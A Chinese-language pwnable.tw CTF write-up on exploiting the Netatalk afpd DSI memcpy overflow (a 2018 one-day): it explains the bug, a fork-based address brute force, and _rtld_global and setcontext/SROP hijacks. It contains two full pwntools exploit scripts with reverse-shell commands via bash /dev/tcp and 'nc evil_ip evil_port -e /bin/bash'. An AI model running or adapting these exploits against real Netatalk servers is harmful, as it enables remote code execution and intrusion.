pwnable.tw | 第3题cve-2018-1106

前言

pwnable.tw第三题,开始上难度了,考验的是一款真实程序的漏洞利用。漏洞源于一款开源的苹果AFP协议服务器程序Netatalk,漏洞最早是2018年发现的,2019年在HITCON Quals展示了1day利用,相关文章如下:

分析

题目附件里有四样东西,afpd是服务器程序,afp.conf是配置文件,剩下两个是库

image-20240710183906567

找了下服务器的启动方法为,在ubuntu18.04环境下运行以下命令

LD_PRELOAD=./libc-2.27.so LD_LIBRARY_PATH=./ ./afpd -d -F ./afp.conf

看了下afpd保护全开,把程序拖入IDA,代码很庞大,有大量的初始化,解析协议包,功能处理的代码,和路由器webserver有点像,那先找一下简单的栈溢出、命令注入有没有,粗略看了下是没有溢出的并且有canary也不好弄,然后通过关键字在程序和库中找到一些命令注入点,但看了下参数是不可控的,思路断了。

既然题目提示写1day,那就去网上找资料学习了,原来漏洞是出在memcpy的时候溢出了一个结构体的字段,漏洞作者说他是在航班上阅读源码的时候发现的,真的牛

既然是开源的1day,咱们也不对着IDA费劲了,直接看源码,大概就是tcp socket建立链接,解析协议字段,收发消息那些东西,我们先分析一遍服务器运行流程

服务器运行流程

客户端建立连接后,服务端会fork出一个子进程同客户端交互,子进程首先从TCP会话中读取DSI header到结构体dsi->header,之后读取DSI payload内容放在dsi->commands指向的buf中,之后子进程会调用dsi_opensession来处理commands中的会话信息,然后调用dsi_stream_receive从当前连接中继续读取消息并保存到dsi->commands中

DSI结构体

DSI结构体保存了会话中的所有信息,其中commands指针指向了客户端发来的的命令消息

typedef struct DSI {
	...
    uint32_t attn_quantum, datasize, server_quantum;
    uint16_t serverID, clientID;
    uint8_t  *commands; /* DSI recieve buffer */
    ...

dsi_opensession

该函数用于处理DSI结构体中的消息,若commands[0]的值为DSIOPT_ATTNQUANT,则调用memcpy,将大小为commands[1]个字节,从commands[2]指针处拷贝到结构体中的attn_quantum字段

void dsi_opensession(DSI *dsi)
{
  uint32_t i = 0; /* this serves double duty. it must be 4-bytes long */
  int offs;

    ......

  /* parse options */
  while (i < dsi->cmdlen) {
    switch (dsi->commands[i++]) {
    case DSIOPT_ATTNQUANT:
      memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]); //bug
      dsi->attn_quantum = ntohl(dsi->attn_quantum);

    case DSIOPT_SERVQUANT: /* just ignore these */
    default:
      i += dsi->commands[i] + 1; /* forward past length tag + length */
      break;
    }
  }
  ...

dsi_stream_receive

该函数从当前socket继续读取消息并保存在结构体中。具体地,先读取DSI header并保存到dsi->header结构体中,然后读取后续DSI payload保存到dsi->commands指向的buffer当中

int dsi_stream_receive(DSI *dsi)
{
  ...
  /* 将header之后的payload读取到commands指向的内存中 */
  if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
    return 0;
   ...

漏洞原理

漏洞出在dsi_opensession函数的memcpy处,未对拷贝的字节数做限制,dsi->commands[i]类型为uint8并且大小是用户可控的,最大可以拷贝255个字节,而dsi->attn_quantum是uint32类型,只占4个字节,可以溢出覆盖DSI结构体内的后续字段,并且dsi->commands+i+1的内容是用户可控的,也就是说我们可以通过溢出来控制DSI结构体内的字段

memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]); //bug

这些字段里最重要的当然是commands指针,将其覆盖为任意内容,之后在dsi_stream_receive函数中,会继续向dsi->commands出读入消息,故我们获得了一次任意地址写的机会。需要注意的我们需要在同一个socket中发送两次DSI消息来完成任意地址写:第一次发消息,将commands指针覆盖为目标地址;第二次发消息,往commands指向处写入任意内容。

数据包构建

在利用漏洞之前,我们还需要了解AFP协议格式,如何按照协议格式将数据发送到服务器,才能将我们期望的数据布置到目标结构体。

AFP协议消息分为header + payload,其中header的格式可以从源码中分析出:

/* What a DSI packet looks like:
   0                               32
   |-------------------------------|
   |flags  |command| requestID     |
   |-------------------------------|
   |error code/enclosed data offset|
   |-------------------------------|
   |total data length              |
   |-------------------------------|
   |reserved field                 |
   |-------------------------------|

   CONVENTION: anything with a dsi_ prefix is kept in network byte order.
*/

本题的利用需要在同一个socket内发两个TCP数据包,第一个数据包的payload也分为两部分:cmd_header和cmd_payload,其中cmd_header由两个字节组成,第一个字节为cmd options,当值为DSIOPT_ATTNQUANT(0x01)时才能触发漏洞,第二个字节为cmd_payload长度,可控,使得memcpy越界。

第二个数据包的payload部分,第一个字节是function index,指向afp_switch函数数组中一个单元,设为0即可。构建数据包的代码如下:

def createDSIHeader(command, payload):
    dsi_header = b'\x00'  # dsi_flags, DSIFL_REQUEST
    dsi_header += command  # dsi_command
    dsi_header += b'\x01\x00'  # dsi_requestID
    dsi_header += p32(0)  # dsi_data
    dsi_header += struct.pack(">I", len(payload))  # dsi_len
    dsi_header += p32(0)  # dsi_reserved
    return dsi_header

def replaceCommandPtr(io, addr):
    cmd_payload = p32(0)  # attn_quantum
    cmd_payload += p32(0)  # datasize
    cmd_payload += p32(FLAG_VAL)  # server_quantum
    cmd_payload += p32(0)  # serverID & clientID
    cmd_payload += addr  # **************** commands ptr ****************
    cmd_header = b'\x01'  # DSIOPT_ATTNQUANT
    cmd_header += p8(len(cmd_payload))
    dsifunc_open = b'\x04'  # DSIFUNC_OPEN
    dsi_header = createDSIHeader(dsifunc_open, cmd_header + cmd_payload)
    msg = dsi_header + cmd_header + cmd_payload
    io.send(msg)
    try:
        reply = io.recv()
        return reply
    except:
        return None

def aaw(io, payload):
    dsifunc_cmd = b'\x04'                          # 
    dsi_payload = b'\x00'                          # 
    dsi_payload += payload
    dsi_header = createDSIHeader(dsifunc_cmd, dsi_payload)
    msg = dsi_header + dsi_payload
    io.send(msg)

泄露地址

任意地址写,写got是不可能的,程序开了relro,那考虑写free_hook,需要先泄露libc地址,然而程序并没有泄露地址相关的漏洞。

考虑到这是一个webserver,每一次tcp连接都会fork子进程来同客户端交互,而子进程的内存空间是父进程的拷贝,内存地址都是相同的,故可以采用爆破的方法,不断的去猜测地址,反正子进程崩溃了也不影响,重新再启一个连接,子进程的地址还是一样的,可以继续爆破,其实是利用了服务器程序aslr不够随机化的弱点。

不完全的随机化给了我们爆破的可能性,那我们可以爆破出什么东西呢?

我们先看一下commands指针的初始地址,改地址是由dsi_init_buffer函数初始化的

static void dsi_init_buffer(DSI *dsi)
{
    if ((dsi->commands = malloc(dsi->server_quantum)) == NULL) {
        LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM");
        AFP_PANIC("OOM in dsi_init_buffer");
    }

    /* dsi_peek() read ahead buffer, default is 12 * 300k = 3,6 MB (Apr 2011) */
    if ((dsi->buffer = malloc(dsi->dsireadbuf * dsi->server_quantum)) == NULL) {
        LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM");
        AFP_PANIC("OOM in dsi_init_buffer");
    }
    dsi->start = dsi->buffer;
    dsi->eof = dsi->buffer;
    dsi->end = dsi->buffer + (dsi->dsireadbuf * dsi->server_quantum);
}

commands指针是由malloc返回的,并且server_quantum的初始值为0x100000L,超过了brk的分配地址,是由mmap分配的内存空间,通过本地调试,可知该地址比libc略高,这个偏移地址在同一系统下是固定的,那我们如果能爆破出一个接近commands指针初始地址的值,就能获取到libc的地址。

image-20240710210400224

接下来再考虑爆破的方法,这里使用了侧信道攻击的理念,通过服务器的返回信息来判断是否爆破成功,在溢出后将commands指针覆盖为一个非法地址,那后续访问该指针会导致子进程崩溃,而如果指针被覆盖为了可写地址,dsi_opensession函数会将server_quantum的值写入指针并返回给客户端。通过客户端收到的数据来判断爆破是否成功。

具体来说,我们可以从低字节开始,按照255-0的顺序,逐个字节爆破commands指针地址,爆破成功后我们可以获得一个高于commands初始指针和libc的地址,并且不会高太多(仍然处于可写的地址范围内),爆破代码如下:

def bruteforce():
    leak_addr = b''
    flag_str = struct.pack('>I', FLAG_VAL)
    # num = 0
    while len(leak_addr) < 6:
        # from 255 to 0 for each byte, get an address that is below libc_base
        for i in range(255, -1, -1):
            io = remote(IP, PORT)
            cur_byte = p8(i)
            addr = leak_addr + cur_byte
            reply = replaceCommandPtr(io, addr)
            if reply is None:
                io.close()
                continue
            if flag_str in reply:
                io.close()
                print('Find! {}'.format(hex(i)))
                leak_addr += cur_byte
                break
    # print(leak_addr)
    mmap_addr = u64(leak_addr.ljust(8, b'\x00'))   # 0x7fxxxxxfff, add 1
    return mmap_addr+1

获得的地址一定高于libc基址,至于高多少我们不清楚,由于内存页是0x1000字节对齐的,libc基址的后三位是0x000,所以用每次减去0x1000的方式去爆破,最后试出libc基地址!

为了提高爆破的速度,有师傅采取的办法是购买日本的linode服务器,在服务器上爆破(靶机是部署在日本的linode服务器上的,在接近的机房中爆破速度会更快)

利用方法

获得libc地址后,通过任意地址写,我们有两种方法可以完成利用

打rtld_global

原理是程序在exit时会调用一个函数指针,该指针和参数都在rtld_global结构体里,只要控制该指针和参数,就能完成任意函数调用。

具体来说,需要打rtlg_global的以下两个成员:

  • 函数指针:_dl_rtld_lock_recursive (_rtld_global+2312)
  • 调用参数:_dl_load_lock (_rtld_global+3840)

rtlg_global结构体位于ld.so中,其相对于libc的偏移在同一环境下是固定的,通过本地搭建和远端相同的的ubuntu18.04,可以获得rtlg_global的相对偏移为0xed2060,加上我们的libc基址即可得到其地址,然后通过任意地址写将函数指针覆盖为"system",将参数覆盖为反弹shell的命令

第一次做这种服务器类型的题,刚开始不理解为什么参数不直接设置为"/bin/sh",而要用反弹shel的方式,后面思考了下才想通:普通的ctf题运行在本地,通过socat这类外部程序转发来实现远程交互,getshell后sh子进程覆盖原进程,也继承了原进程的标准输入输出,故可以继续通过外部程序进行远端交互;而服务器类型的程序,程序本身承担了远端交互的功能,如果直接用sh进程覆盖掉,便丢失了远端交互,所以需要用bash反弹shell,维持远端交互

完整EXP如下:

from pwn import *
context(endian='little')

ip   = "chall.pwnable.tw"
port = 10002
libc = ELF("./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so")

def gen_dsi(data):
    dsi  = b'\x00\x04\x00\x01'
    dsi += p32(0)
    dsi += p32(len(data),endian='big')
    dsi += p32(0)
    dsi += data
    return dsi

def aaw(io,addr,data):
    payload  = b'\x01'+ p8(0x18)+ b'a'*0x10 + p64(addr)
    io.send(gen_dsi(payload))
    io.recv()
    io.send(gen_dsi(data))

def boom():
    leak = b''
    for j in range(8):
        for i in range(256):
            if(j>1 and j<6): i = 255 - i
            io = remote(ip,port)
            payload  = b'\x01'+ p8(0x11+j)+ b'a'*0x10 + leak + p8(i)
            io.send(gen_dsi(payload))
            try:
                a = io.recv()
                leak += p8(i)
                log.success(str(hex(i)))
                io.close()
                break
            except:
                io.close()
    return u64(leak)

leak_addr = boom()
log.success(hex(leak_addr))

for i in range(0x0000000,0xffff000,0x1000):
    libc.address = leak_addr - i
    rtld = libc.address + 0xed2060
    cmd = b'bash -c "bash  -i>& /dev/tcp/ip/port 0<&1"'
    try:
        io = remote(ip,port)
        aaw(io,rtld+2312,cmd.ljust(0x5f8,b'\x00')+p64(libc.symbols['system']))
        io.close()
    except:
        io.close()

本地监听端口,爆破成功后,还需要等一会才能弹回shell,因为需要等tcp连接timout后,子进程才会调用exit触发利用链

SROP

通过AAW可以覆盖free_hook,还需要想办法控制rdi寄存器,程序里没有直接控制rdi寄存器的gadget,故这里采用SROP的方法,即调用setcontext函数来控参。

setcontext gadget如下,可以控制各个寄存器的值,需要我们能够控制rdi寄存器及其指向的一片区域的内容

image-20240710223648667

libc_dlopen_mode+56 gadget如下,并且dl_open_hook就位于free_hook下方,可以同时覆盖修改

mov     rax, cs:_dl_open_hook
call    qword ptr [rax]

fgetpos64+207 gadget如下

mov rdi, rax ; call qword ptr [rax + 0x20]

通过上述两个gadget,可以将rdi指向dl_open_hook区域附近,该块区域通过AAW可以被我们覆盖为任何值,故实现同时控制rdi及其指向内容的目的

最终通过libc_dlopen_mode+56 -> fgetpos64+207 -> setcontext+53ROP链,可以同时控制eip和rdi寄存器,具体布局如下

image-20240710224851669

之后调用free函数会触发ROP链,将eip置为system,rdi指向反弹shell的命令字符串

完整EXP如下:

from pwn import *
import struct

context.log_level = "info"
context.update(arch="amd64",os="linux")
ip = 'localhost'
port = 5566
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def create_header(addr):
    dsi_opensession = "\x01" # attention quantum option
    dsi_opensession += chr(len(addr)+0x10) # length
    dsi_opensession += "a"*0x10+addr
    dsi_header = "\x00" # "request" flag
    dsi_header += "\x04" # open session command
    dsi_header += "\x00\x01" # request id
    dsi_header += "\x00\x00\x00\x00" # data offset
    dsi_header += struct.pack(">I", len(dsi_opensession))
    dsi_header += "\x00\x00\x00\x00" # reserved
    dsi_header += dsi_opensession
    return dsi_header

def create_afp(idx,payload):
    afp_command = chr(idx) # invoke the second entry in the table
    afp_command += "\x00" # protocol defined padding
    afp_command += payload
    dsi_header = "\x00" # "request" flag
    dsi_header += "\x02" # "AFP" command
    dsi_header += "\x00\x02" # request id
    dsi_header += "\x00\x00\x00\x00" # data offset
    dsi_header += struct.pack(">I", len(afp_command))
    dsi_header += '\x00\x00\x00\x00' # reserved
    dsi_header += afp_command
    return dsi_header


# get libc base
addr = ""
while len(addr)<6 :
    for i in range(256):
        r = remote(ip,port)
        r.send(create_header(addr+chr(i)))
        try:
            if "a"*4 in r.recvrepeat(1):
                addr += chr(i)
                r.close()
                break
        except:
            r.close()
    val = u64(addr.ljust(8,'\x00'))
    print hex(val)
addr += "\x00"*2
libc_addr = u64(addr)
log.success("[+]Now we got an addresss {}".format(hex(libc_addr)))
offset = 0x535a000
libc_base = libc_addr + offset
log.success("[+]libc base {}".format(hex(libc_base)))
libc.address = libc_base

raw_input("write free hook: ")
free_hook = libc.sym['__free_hook']
# mov    rdi,rax ; call   QWORD PTR [rax+0x20]
magic = libc_base + 0x7eaff
dl_openmode = libc_base + 0x166398
dl_open_hook = libc_base + 0x3f0588

r = remote(ip,port)
r.send(create_header(p64(free_hook-0x30))) #  overwrite afp_command buf with free_hook-0x30
#
raw_input("write shell: ")
rip="127.0.0.1"
rport=1234
cmd='bash -c "nc evil_ip evil_port -t -e /bin/bash" \x00'# cat flag to controled ip and port

sigframe = SigreturnFrame()
sigframe.rdi = free_hook + 8
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rax = 0
sigframe.rsp = free_hook+0x400
sigframe.rip = libc.sym['system']

payload =  '\x00'*0x2e
payload += p64(dl_openmode) # free_hook
payload += cmd.ljust(0x2c98,'\x00')
payload += p64(dl_open_hook+8) + p64(magic)*4
payload += p64(libc.sym['setcontext']+53)
payload += str(sigframe)[0x28:]
r.send(create_afp(0,payload))

raw_input("get shell: ")
r.send(create_afp(18,""))

r.interactive()

后记

因为时间原因,我主要学习了利用的思路,没有用gdb一步步跟踪调试,本文写的也很粗略,如果想要查看更精细的分析,请参考以下文章:

posted @ 2024-07-11 11:15  z5onk0  阅读(42)  评论(0编辑  收藏  举报